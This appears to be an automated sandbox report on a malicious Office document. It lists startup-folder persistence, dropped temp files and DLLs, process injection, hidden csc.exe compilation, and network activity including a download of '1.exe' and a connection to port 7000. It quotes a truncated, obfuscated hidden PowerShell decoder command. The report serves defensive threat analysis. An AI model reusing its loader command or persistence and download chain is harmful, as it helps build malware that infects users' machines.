Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\msword.url
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e1bf6 {param($q7a7e6)$kb873d='q29b452';$leb36b='';for ($i=0; $i -lt $q7a7e6.length;$i+=2){$ec66e=[convert]::ToByte($q7a7e6.Substring($i,2),16);$leb36b+=[char]($ec...
Injects code into
the following user processes:
- zbfb3.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2f8fbf22-5293-43d1-83ad-df1db5d0e7f9}.tmp
- %TEMP%\resfd71.tmp
- %TEMP%\f8whujml.dll
- %TEMP%\3wtnyju6.dll
- %TEMP%\resff55.tmp
- %TEMP%\50cg-dqn.dll
- %TEMP%\resff65.tmp
- %TEMP%\sbsnqrtb.dll
- %APPDATA%\zbfb3.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\5h9gisc7\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\vn79unu5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\o50w42fb\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\p1bndc4m\desktop.ini
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
- %TEMP%\resfdde.tmp
- %HOMEPATH%\msword\msword.vbs
- %TEMP%\cscff54.tmp
- %TEMP%\z5tc5em5.dll
- %TEMP%\50cg-dqn.0.cs
- %TEMP%\50cg-dqn.cmdline
- %TEMP%\50cg-dqn.out
- %TEMP%\z5tc5em5.0.cs
- %TEMP%\z5tc5em5.cmdline
- %TEMP%\3wtnyju6.0.cs
- %TEMP%\3wtnyju6.cmdline
- %TEMP%\3wtnyju6.out
- %TEMP%\z5tc5em5.out
- %TEMP%\f8whujml.0.cs
- %TEMP%\f8whujml.cmdline
- %TEMP%\f8whujml.out
- %TEMP%\sbsnqrtb.0.cs
- %TEMP%\sbsnqrtb.cmdline
- %TEMP%\sbsnqrtb.out
- %TEMP%\cscfd22.tmp
- %TEMP%\cscfd60.tmp
- %TEMP%\cscfdce.tmp
- %TEMP%\resfd42.tmp
- %TEMP%\cscff45.tmp
- %HOMEPATH%\msword\msword.exe
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\5h9gisc7\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\vn79unu5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\o50w42fb\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\p1bndc4m\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
Deletes the following files
- %TEMP%\resfd42.tmp
- %TEMP%\3wtnyju6.dll
- %TEMP%\3wtnyju6.cmdline
- %TEMP%\resff55.tmp
- %TEMP%\cscff45.tmp
- %TEMP%\50cg-dqn.dll
- %TEMP%\50cg-dqn.pdb
- %TEMP%\50cg-dqn.out
- %TEMP%\sbsnqrtb.0.cs
- %TEMP%\50cg-dqn.0.cs
- %TEMP%\resff65.tmp
- %TEMP%\cscff54.tmp
- %TEMP%\sbsnqrtb.pdb
- %TEMP%\sbsnqrtb.dll
- %TEMP%\sbsnqrtb.out
- %TEMP%\3wtnyju6.out
- %TEMP%\50cg-dqn.cmdline
- %TEMP%\3wtnyju6.0.cs
- %TEMP%\f8whujml.pdb
- %TEMP%\cscfd22.tmp
- %TEMP%\z5tc5em5.dll
- %TEMP%\z5tc5em5.0.cs
- %TEMP%\resfdde.tmp
- %TEMP%\cscfdce.tmp
- %TEMP%\f8whujml.0.cs
- %TEMP%\f8whujml.cmdline
- %TEMP%\cscfd60.tmp
- %TEMP%\f8whujml.dll
- %TEMP%\f8whujml.out
- %TEMP%\z5tc5em5.out
- %TEMP%\z5tc5em5.pdb
- %TEMP%\z5tc5em5.cmdline
- %TEMP%\resfd71.tmp
- %TEMP%\3wtnyju6.pdb
- %TEMP%\sbsnqrtb.cmdline
Network activity
Connects to
- '79.##4.225.91':7000
TCP
HTTP GET requests
- http://18#.#41.27.18/1.exe
UDP
- DNS ASK ti##api.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\zbfb3.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e1bf6 {param($q7a7e6)$kb873d='q29b452';$leb36b='';for ($i=0; $i -lt $q7a7e6.length;$i+=2){$ec66e=[convert]::ToByte($q7a7e6.Substring($i,2),16);$leb36b+=[char]($ec...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\50cg-dqn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3wtnyju6.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z5tc5em5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f8whujml.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sbsnqrtb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD42.tmp" "%TEMP%\CSCFD22.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFDDE.tmp" "%TEMP%\CSCFDCE.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD71.tmp" "%TEMP%\CSCFD60.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF55.tmp" "%TEMP%\CSCFF45.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF65.tmp" "%TEMP%\CSCFF54.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\50cg-dqn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\3wtnyju6.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z5tc5em5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\f8whujml.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\sbsnqrtb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD42.tmp" "%TEMP%\CSCFD22.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFDDE.tmp" "%TEMP%\CSCFDCE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFD71.tmp" "%TEMP%\CSCFD60.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF55.tmp" "%TEMP%\CSCFF45.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFF65.tmp" "%TEMP%\CSCFF54.tmp"
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\syswow64\WININET.dll",DispatchAPICall 1
